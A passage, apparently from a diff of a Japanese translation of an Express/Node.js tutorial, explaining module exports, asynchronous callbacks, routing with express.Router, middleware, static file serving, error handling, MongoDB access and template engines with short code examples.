+<p>一度に1つのプロパティを構築するのではなく、1つの割り当てで完全なオブジェクトをエクスポートする場合は、次のように <code>module.exports</code> に割り当てます (これを実行して、エクスポートオブジェクトのルートをコンストラクタまたは他の関数にすることもできます)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">module<span class="punctuation token">.</span>exports <span class="operator token">=</span> <span class="punctuation token">{</span> + area<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>width<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> width <span class="operator token">*</span> width<span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + + perimeter<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>width<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> <span class="number token">4</span> <span class="operator token">*</span> width<span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>Note:</strong> あなたは <code>exports</code> を与えられたモジュール内の <code>module.exports</code> への<a href="https://nodejs.org/api/modules.html#modules_exports_shortcut">ショートカット</a>として考えることができます。実際、<code>exports</code> は、モジュールが評価される前に <code>module.exports</code> の値に初期化される単なる変数です。 その値はオブジェクト (この場合は空のオブジェクト) への参照です。これは、<code>exports</code> が <code>module.exports</code> によって参照されるのと同じオブジェクトへの参照を保持することを意味します。また、エクスポートに別の値を代入することで、<code>module.exports</code> にバインドされなくなることも意味します。</p> +</div> + +<p>モジュールの詳細については、<a href="https://nodejs.org/api/modules.html#modules_modules">モジュール</a> (Node API のドキュメント) を参照してください。</p> + +<h3 id="非同期_API_の使用">非同期 API の使用</h3> + +<p>JavaScriptコードでは、操作に同期APIよりも非同期APIが頻繁に使用されるため、処理に時間がかかることがあります。 同期APIは、各操作を完了してから次の操作を開始できるAPIです。 たとえば、次のログ関数は同期的で、テキストをコンソールに順番に印刷します(First、Second)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'First'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Second'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>対照的に、非同期 API は、API が操作を開始してすぐに (操作が完了する前に) 戻るものです。操作が終了すると、API は何かのメカニズムを使用して追加の実行を行います。例えば、次のコードでは最初に <code>setTimeout()</code> メソッドが呼び出されてすぐに返されても、操作が数秒間完了しないため、 "Second, First" が出力されます。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'First'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="number token">3000</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Second'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>Node はシングルスレッドのイベント駆動型実行環境であるため、ノンブロッキングの非同期 API を使用することは、ブラウザーよりも Node にとってさらに重要です。シングルスレッドとは、サーバーへのすべてのリクエストが (別々のプロセスに分割されるのではなく) 同じスレッドで実行されることを意味します。このモデルは速度とサーバーリソースの点で非常に効率的です。しかし、完了に時間がかかる同期メソッドを呼び出す関数があると、それらは現在のリクエストだけでなく、他のすべてのリクエストがウェブアプリケーションによって処理されることをブロックします。</p> + +<p>非同期 API がアプリケーションに完了したことを通知するにはいくつかの方法があります。最も一般的な方法は、非同期 API を呼び出すときにコールバック関数を登録することです。これは、操作が完了したときにコールバックされます。 これが上記で使用されているアプローチです。</p> + +<div class="note"> +<p><strong>Tip:</strong> コールバックを使用することは、順番に実行しなければならない一連の従属非同期操作がある場合、かなり "面倒" になる可能性があります。これは、複数レベルのネストされたコールバックをもたらすためです。この問題は一般に「コールバック地獄」として知られています。この問題は、優れたコーディング方法 ( <a href="http://callbackhell.com/">http://callbackhell.com/</a> を参照)、<a href="https://www.npmjs.com/package/async">async</a> などのモジュールの使用、または <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> などの ES6 機能への移行によっても軽減できます。</p> +</div> + +<div class="note"> +<p><strong>メモ:</strong> Node と Express の一般的な規約は、エラー優先コールバックを使うことです。この規約では、コールバック関数の最初の値はエラー値ですが、後続の引数には成功データが含まれます。 なぜこのアプローチがこのブログで役に立つのかについての良い説明があります：<a href="http://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js">Node.jsの方法 - エラーファーストコールバックについて</a> (fredkschott.com)。</p> +</div> + +<h3 id="ルートハンドラの作成">ルートハンドラの作成</h3> + +<p>上記の Hello World Express の例では、サイトルート (<code>'/'</code>) への HTTP <code>GET</code> リクエストに対して(callback)ルートハンドラ関数を定義しました。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">app<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">'/'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">send</span><span class="punctuation token">(</span><span class="string token">'Hello World!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>コールバック関数はリクエストとレスポンスオブジェクトを引数として取ります。 この場合、メソッドは単にレスポンスに対して <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> を呼び出して、文字列 "Hello World!" を返します。リクエスト/レスポンスサイクルを終了するための<a href="https://expressjs.com/ja/guide/routing.html#response-methods">レスポンスメソッドは他にも多数</a>あります。たとえば、JSONレスポンスを送信するために <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> を呼び出し、ファイルを送信するために <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> を呼び出すことができます。</p> + +<div class="note"> +<p><strong>JavaScript tip:</strong> コールバック関数で好きな引数名を使うことができます。 コールバックが呼び出されると、最初の引数は常にリクエストになり、2番目の引数は常にレスポンスになります。 コールバックの本体で作業しているオブジェクトを識別できるようにそれらの名前を付けることは意味があります。</p> +</div> + +<p>Express アプリケーションオブジェクトには、他のすべての HTTP 動詞のルートハンドラを定義するためのメソッドもあります。これらのメソッドはほとんど同じ方法で使用されます。</p> + +<p><code>checkout()</code>, <code>copy()</code>, <strong><code>delete()</code></strong>, <strong><code>get()</code></strong>, <code>head()</code>, <code>lock()</code>, <code>merge()</code>, <code>mkactivity()</code>, <code>mkcol()</code>, <code>move()</code>, <code>m-search()</code>, <code>notify()</code>, <code>options()</code>, <code>patch()</code>, <strong><code>post()</code></strong>, <code>purge()</code>, <strong><code>put()</code></strong>, <code>report()</code>, <code>search()</code>, <code>subscribe()</code>, <code>trace()</code>, <code>unlock()</code>, <code>unsubscribe()</code>.</p> + +<p><code>app.all()</code> という特別なルーティングメソッドがあります。これはあらゆる HTTP メソッドにレスポンスして呼び出されます。これはすべてのリクエストメソッドの特定のパスにミドルウェア機能をロードするために使用されます。次の例 (Express の資料から) は、使用される HTTP 動詞に関係なく、 <code>/secret</code> へのリクエストに対して実行されるハンドラを示しています(<a href="https://nodejs.org/api/http.html#http_http_methods">http モジュール</a>でサポートされている場合)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">app<span class="punctuation token">.</span><span class="function token">all</span><span class="punctuation token">(</span><span class="string token">'/secret'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Accessing the secret section ...'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 次のハンドラに制御を渡します。</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>ルートを使用すると、URL 内の特定のパターンの文字を照合し、URL からいくつかの値を抽出し、それらをパラメータとしてルートハンドラに渡すことができます(パラメータとして渡されるリクエストオブジェクトの属性として)。</p> + +<p>多くの場合、サイトの特定の部分のルートハンドラをまとめて、共通のルートプレフィックスを使用してそれらにアクセスすると便利です (たとえば、Wiki のあるサイトでは、1つのファイルにすべての Wiki 関連ルートがあり、ルートプレフィックス <em>/wiki/</em> を使用してアクセスすることがあります)。 Expressでは、これは <code><a href="http://expressjs.com/ja/guide/routing.html#express-router">express.Router</a></code> オブジェクトを使用して実現されます。たとえば、<strong>wiki.js</strong> という名前のモジュールで Wiki ルートを作成してから、次に示すように <code>Router</code> オブジェクトをエクスポートできます。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// wiki.js - Wiki ルートモジュール</span> + +<span class="keyword token">var</span> express <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> router <span class="operator token">=</span> express<span class="punctuation token">.</span><span class="function token">Router</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// ホームページルート</span> +router<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">'/'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">send</span><span class="punctuation token">(</span><span class="string token">'Wiki home page'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// about ページルート</span> +router<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">'/about'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">send</span><span class="punctuation token">(</span><span class="string token">'About this wiki'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +module<span class="punctuation token">.</span>exports <span class="operator token">=</span> router<span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>メモ:</strong> <code>Router</code> オブジェクトにルートを追加することは、(前述のように) <code>app</code> オブジェクトにルートを追加するのと同じです。</p> +</div> + +<p>メインアプリケーションファイルでルーターを使用するには、ルートモジュール (<strong>wiki.js</strong>) を <code>require()</code> してから、Express アプリケーションで <code>use()</code> を呼び出してミドルウェア処理パスにルーターを追加します。 2つの経路は <code style="font-style: normal; font-weight: normal;">/wiki/</code> と <code style="font-style: normal; font-weight: normal;">/wiki/about/</code> からアクセス可能になります。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> wiki <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'./wiki.js'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// ...</span> +app<span class="punctuation token">.</span><span class="function token">use</span><span class="punctuation token">(</span><span class="string token">'/wiki'</span><span class="punctuation token">,</span> wiki<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>ルートを扱うことについて、そして特に <code>Router</code> を使うことについてもっとより多くのことがあります。それらについては、リンクされたセクション、<a href="/ja/docs/Learn/Server-side/Express_Nodejs/routes">ルートとコントローラ</a>で説明します。</p> + +<h3 id="ミドルウェアの使用">ミドルウェアの使用</h3> + +<p>ミドルウェアは静的ファイルの提供からエラー処理、HTTP レスポンスの圧縮まで、Express アプリケーションで広く使用されています。ルート関数は HTTP クライアントにレスポンスを返すことで HTTP リクエスト - レスポンスサイクルを終了しますが、ミドルウェア関数は通常、リクエストまたはレスポンスに対して何らかの操作を実行してから、「スタック」内の次の機能を呼び出します。これは、より多くのミドルウェアまたはルートハンドラの場合があります。ミドルウェアが呼び出される順序はアプリ開発者次第です。</p> + +<div class="note"> +<p><strong>Note:</strong> ミドルウェアは任意の操作を実行し、任意のコードを実行し、リクエストおよびレスポンスオブジェクトに変更を加えることができ、またリクエスト - レスポンスサイクルを終了することもできます。サイクルが終了しない場合は、<code>next()</code> を呼び出して次のミドルウェア機能に制御を渡す必要があります (そうでない場合、リクエストは中断されたままになります)。</p> +</div> + +<p>Cookie の操作、セッション、ユーザ認証、リクエスト <code>POST</code> および JSON データへのアクセス、ロギングなどの一般的なウェブ開発タスクを簡素化するために、ほとんどのアプリはサードパーティ製ミドルウェアを使用します。<a href="http://expressjs.com/ja/resources/middleware.html">Express チームが管理するミドルウェアパッケージのリスト</a>を見つけることができます。(他の人気のあるサードパーティのパッケージも含みます)。他の Express パッケージは NPM パッケージマネージャーで入手できます。</p> + +<p>サードパーティのミドルウェアを使用するには、まず NPM を使用してそれをアプリにインストールする必要があります。たとえば、 <a href="http://expressjs.com/en/resources/middleware/morgan.html">morgan</a> という HTTP リクエストロガーミドルウェアをインストールするには、次のようにします。</p> + +<pre class="brush: bash"><code>$ npm install morgan +</code></pre> + +<p>次に、Express アプリケーションオブジェクトで <code>use()</code> を呼び出してミドルウェアをスタックに追加できます。</p> + +<pre class="brush: js">var express = require('express'); +<strong>var logger = require('morgan');</strong> +var app = express(); +<strong>app.use(logger('dev'));</strong> +...</pre> + +<div class="note"> +<p><strong>メモ:</strong> ミドルウェアおよびルーティング機能は、宣言されている順序で呼び出されます。ミドルウェアによっては、順序が重要です (たとえば、セッションミドルウェアが cookie ミドルウェアに依存している場合は、最初に cookie ハンドラを追加する必要があります)。ほとんどの場合、ミドルウェアはルートを設定する前に呼び出されます。そうでないとルートハンドラがミドルウェアによって追加された機能にアクセスすることはできません。</p> +</div> + +<p>あなたは自身のミドルウェア機能を書くことができ、そうする必要があるでしょう (エラー処理コードを作成するためだけの場合)。ミドルウェア関数とルートハンドラコールバックの<strong>唯一の</strong>違いは、ミドルウェア関数が次に <code>next</code> 引数を持つことです。ミドルウェア関数はリクエストサイクルを完了させるものではない場合に呼び出されます (ミドルウェア関数が呼び出されるとき、その中には呼び出される next 関数が含まれていなければなりません)。</p> + +<p>ミドルウェアをすべてのレスポンスに適用するのか、特定の HTTP 動詞を含むレスポンス (<code>GET</code>、<code>POST</code> など) に適用するのかに応じて、 <code>app.use()</code> または <code>app.add()</code> のいずれかを使用してミドルウェア機能を処理チェーンに追加できます)。 <code>app.use()</code> を呼び出すときの経路はオプションですが、どちらの場合も同じ経路を指定します。</p> + +<p>以下の例は、ルートの有無に関わらず、両方の方法を使用してミドルウェア関数を追加する方法を示しています。</p> + +<pre class="brush: js">var express = require('express'); +var app = express(); + +// ミドルウェア関数の例 +var a_middleware_function = function(req, res, <em>next</em>) { + // ... perform some operations + next(); // next() を呼ぶことで Express はチェイン中の次のミドルウェア関数を呼びます。 + +// すべてのルートと動詞に対して use() で関数を追加します。 +app.use(a_middleware_function); + +// 指定ルートに対して use() でミドルウェア関数を追加します。 +app.use('/someroute', a_middleware_function); + +// 指定の HTTP 動詞とルートに対してミドルウェア関数を追加します。 +app.get('/', a_middleware_function); + +app.listen(3000);</pre> + +<div class="note"> +<p><strong>JavaScript Tip:</strong> 上記ではミドルウェア関数を別々に宣言してからコールバックとして設定しています。以前のルートハンドラ関数では、使用時にコールバック関数を宣言しました。JavaScript では、どちらの方法も有効です。</p> +</div> + +<p>Express の資料には、Express ミドルウェアの<a href="https://expressjs.com/ja/guide/using-middleware.html">使用</a>および<a href="http://expressjs.com/ja/guide/writing-middleware.html">作成</a>に関するより優れた資料があります。</p> + +<h3 id="静的ファイルの提供">静的ファイルの提供</h3> + +<p><a href="http://expressjs.com/ja/4x/api.html#express.static">express.static</a> ミドルウェアを使用して、画像、CSS、JavaScript などの静的ファイルを提供できます (<code>static()</code> は、実際には Express の<strong>一部</strong>である唯一のミドルウェア関数です)。 たとえば、node を呼び出す場所と同じレベルで、'<strong>public</strong>' という名前のディレクトリーから画像、CSS ファイル、および JavaScript ファイルを配信するには、次の行を使用します。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">app<span class="punctuation token">.</span><span class="function token">use</span><span class="punctuation token">(</span>express<span class="punctuation token">.</span><span class="keyword token">static</span><span class="punctuation token">(</span><span class="string token">'public'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>public ディレクトリー内のファイルはすべて、ベース URL にそのファイル名 (ベースの "public" ディレクトリーに対する相対パス) を追加することによって提供されます。そのため、例えば：</p> + +<pre><code>http://localhost:3000/images/dog.jpg +http://localhost:3000/css/style.css +http://localhost:3000/js/app.js +http://localhost:3000/about.html +</code></pre> + +<p><code>static()</code> を複数回呼び出して、複数のディレクトリーを扱うことができます。ファイルが1つのミドルウェア関数で見つからない場合は、そのファイルは後続のミドルウェアに単純に渡されます (ミドルウェアが呼び出される順序は宣言の順序に基づいています)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">app<span class="punctuation token">.</span><span class="function token">use</span><span class="punctuation token">(</span>express<span class="punctuation token">.</span><span class="keyword token">static</span><span class="punctuation token">(</span><span class="string token">'public'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +app<span class="punctuation token">.</span><span class="function token">use</span><span class="punctuation token">(</span>express<span class="punctuation token">.</span><span class="keyword token">static</span><span class="punctuation token">(</span><span class="string token">'media'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>ファイルをベース URL に追加するのではなく、静的 URL の仮想プレフィックスを作成することもできます。たとえば、ここではファイルがプレフィックス "/media" でロードされるように<a href="http://expressjs.com/ja/4x/api.html#app.use">マウントパスを指定</a>します。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">app<span class="punctuation token">.</span><span class="function token">use</span><span class="punctuation token">(</span><span class="string token">'/media'</span><span class="punctuation token">,</span> express<span class="punctuation token">.</span><span class="keyword token">static</span><span class="punctuation token">(</span><span class="string token">'public'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>これで、<code>public</code> ディレクトリーにあるファイルを <code>/media</code> パスプレフィックスから読み込むことができます。</p> + +<pre><code>http://localhost:3000/media/images/dog.jpg +http://localhost:3000/media/video/cat.mp4 +http://localhost:3000/media/cry.mp3</code> +</pre> + +<p>詳しくは、<a href="/ja/docs/Learn/Server-side/Express_Nodejs/Serving static files in Express">Expressでの静的ファイルの提供</a>を参照してください。</p> + +<h3 id="エラーの処理">エラーの処理</h3> + +<p>エラーは、通常の3つの引数ではなく、4つの引数 <code>(err、req、res、next)</code> を持つ1つ以上の特別なミドルウェア関数によって処理されます。例えば：</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">app<span class="punctuation token">.</span><span class="function token">use</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span>err<span class="punctuation token">.</span>stack<span class="punctuation token">)</span><span class="punctuation token">;</span> + res<span class="punctuation token">.</span><span class="function token">status</span><span class="punctuation token">(</span><span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">send</span><span class="punctuation token">(</span><span class="string token">'Something broke!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>これらは必要なコンテンツを返すことができますが、他のすべての <code>app.use()</code> および呼び出しをルーティングした後に呼び出して、リクエスト処理プロセスの最後のミドルウェアになるようにする必要があります。</p> + +<p>Express にはエラーハンドラが組み込まれています。これは、アプリで発生する可能性がある残りのエラーを処理します。 このデフォルトのエラー処理ミドルウェア関数は、ミドルウェア関数スタックの最後に追加されます。<code>next()</code> にエラーを渡し、それをエラーハンドラで処理しなかった場合、それは組み込みエラーハンドラによって処理されます。エラーはスタックトレースとともにクライアントに書き込まれます。</p> + +<div class="note"> +<p><strong>メモ:</strong> スタックトレースは実稼働環境に含まれていません。プロダクションモードで実行するには、環境変数 <code>NODE_ENV</code> を '<code>production</code>' に設定する必要があります。</p> +</div> + +<div class="note"> +<p><strong>メモ:</strong> HTTP 404 およびその他の "エラー" ステータスコードはエラーとして扱われません。これらを処理したい場合は、ミドルウェア関数を追加して処理することができます。詳しくは <a href="http://expressjs.com/ja/starter/faq.html#how-do-i-handle-404-responses">FAQ</a> を見てください。</p> +</div> + +<p>詳しくは<a href="http://expressjs.com/ja/guide/error-handling.html">エラー処理</a> (Express ドキュメント) を参照してください。</p> + +<h3 id="データベースの使用">データベースの使用</h3> + +<p>Express アプリケーションは、Node によってサポートされている任意のデータベースメカニズムを使用できます (Express 自体はデータベース管理のための特定の追加の動作や要件を定義していません)。PostgreSQL、MySQL、Redis、SQLite、MongoDB などを含む多くのオプションがあります。</p> + +<p>これらを使用するには、まず NPM を使用してデータベースドライバをインストールする必要があります。たとえば、一般的な NoSQL MongoDB 用のドライバをインストールするには、次のコマンドを使用します。</p> + +<pre class="brush: bash"><code>$ npm install mongodb +</code></pre> + +<p>データベース自体はローカルにインストールすることも、クラウドサーバーにインストールすることもできます。Express コードではドライバが必要で、データベースへの接続から、作成、参照、更新、削除 (CRUD) 操作を実行します。以下の (Express ドキュメントからの) 例は、MongoDB を使ってどのように「哺乳類の」レコードを見つけることができるかを示しています。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// これは mongodb バージョン 2.2.33 までの古いバージョンで動作します</span> +<span class="keyword token">var</span> MongoClient <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'mongodb'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>MongoClient<span class="punctuation token">;</span> + +MongoClient<span class="punctuation token">.</span><span class="function token">connect</span><span class="punctuation token">(</span><span class="string token">'mongodb://localhost:27017/animals'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> db<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="keyword token">throw</span> err<span class="punctuation token">;</span> + + db<span class="punctuation token">.</span><span class="function token">collection</span><span class="punctuation token">(</span><span class="string token">'mammals'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">toArray</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> result<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="keyword token">throw</span> err<span class="punctuation token">;</span> + + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + + +<span class="comment token">// mongodb バージョン 3.0 以上のためのコード</span> +<span class="keyword token">let</span> MongoClient <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'mongodb'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>MongoClient<span class="punctuation token">;</span> +MongoClient<span class="punctuation token">.</span><span class="function token">connect</span><span class="punctuation token">(</span><span class="string token">'mongodb://localhost:27017/animals'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> client<span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="keyword token">throw</span> err<span class="punctuation token">;</span> + + <span class="keyword token">let</span> db <span class="operator token">=</span> client<span class="punctuation token">.</span><span class="function token">db</span><span class="punctuation token">(</span><span class="string token">'animals'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + db<span class="punctuation token">.</span><span class="function token">collection</span><span class="punctuation token">(</span><span class="string token">'mammals'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">toArray</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> result<span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="keyword token">throw</span> err<span class="punctuation token">;</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">;</span> + client<span class="punctuation token">.</span><span class="function token">close</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>もう1つの一般的な方法は、Object Relational Mapper ( "ORM") を介して間接的にデータベースにアクセスすることです。このアプローチではデータを「オブジェクト」または「モデル」として定義し、ORM はそれらを基礎となるデータベース形式にマッピングします。このアプローチには、開発者としてデータベースのセマンティクスではなく JavaScript オブジェクトの観点から考え続けることができ、受信データの検証とチェックを実行するための明らかな場所があるという利点があります。データベースについての詳細は、後の記事で説明します。</p> + +<p>詳しくは<a href="https://expressjs.com/ja/guide/database-integration.html">データベース統合</a> (Express ドキュメント) を参照してください。</p> + +<h3 id="データのレンダリング_ビュー">データのレンダリング (ビュー)</h3> + +<p>テンプレートエンジン (Express では「ビューエンジン」と呼ばれます) を使用すると、ページの生成時に埋められるデータのプレースホルダを使用して、テンプレート内の出力ドキュメントの構造を指定できます。テンプレートは HTML の作成によく使用されますが、他の種類の文書も作成できます。 Express は<a href="https://github.com/expressjs/express/wiki#template-engines">いくつかのテンプレートエンジン</a>をサポートしています。ここでは、より人気の高いエンジンの便利な比較ができます。<a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">JavaScript テンプレートエンジンの比較：Jade、Moustache、Dustなど</a></p> + +<p>次に示すように、アプリケーション設定コードで、使用するテンプレートエンジンと、Express が 'ビュー' および 'ビューエンジン' 設定を使用してテンプレートを探す場所を設定します (テンプレートライブラリを含むパッケージもインストールする必要があります！)</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> express <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> app <span class="operator token">=</span> <span class="function token">express</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// ('views') テンプレートを含むディレクトリーを設定</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'views'</span><span class="punctuation token">,</span> path<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>__dirname<span class="punctuation token">,</span> <span class="string token">'views'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// 利用するビューエンジン、この場合は 'some_template_engine_name' を設定</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'view engine'</span><span class="punctuation token">,</span> <span class="string token">'some_template_engine_name'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>テンプレートの外観は使用するエンジンによって異なります。"title" および "message" という名前のデータ変数のプレースホルダを含む "index.<テンプレート拡張子>" という名前のテンプレートファイルがあると仮定すると、ルートハンドラ関数で <code><a href="http://expressjs.com/ja/4x/api.html#res.render">Response.render()</a></code> を呼び出して HTML レスポンスを作成し、送信することになります。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">app<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">'/'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'index'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'About dogs'</span><span class="punctuation token">,</span> message<span class="punctuation token">:</span> <span class="string token">'Dogs rock!'</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>詳しくは <a href="http://expressjs.com/ja/guide/using-template-engines.html">Express でのテンプレートエンジンの使用</a> (Express ドキュメント) を参照してください。</p> + +<h3 id="ファイル構造">ファイル構造</h3> + 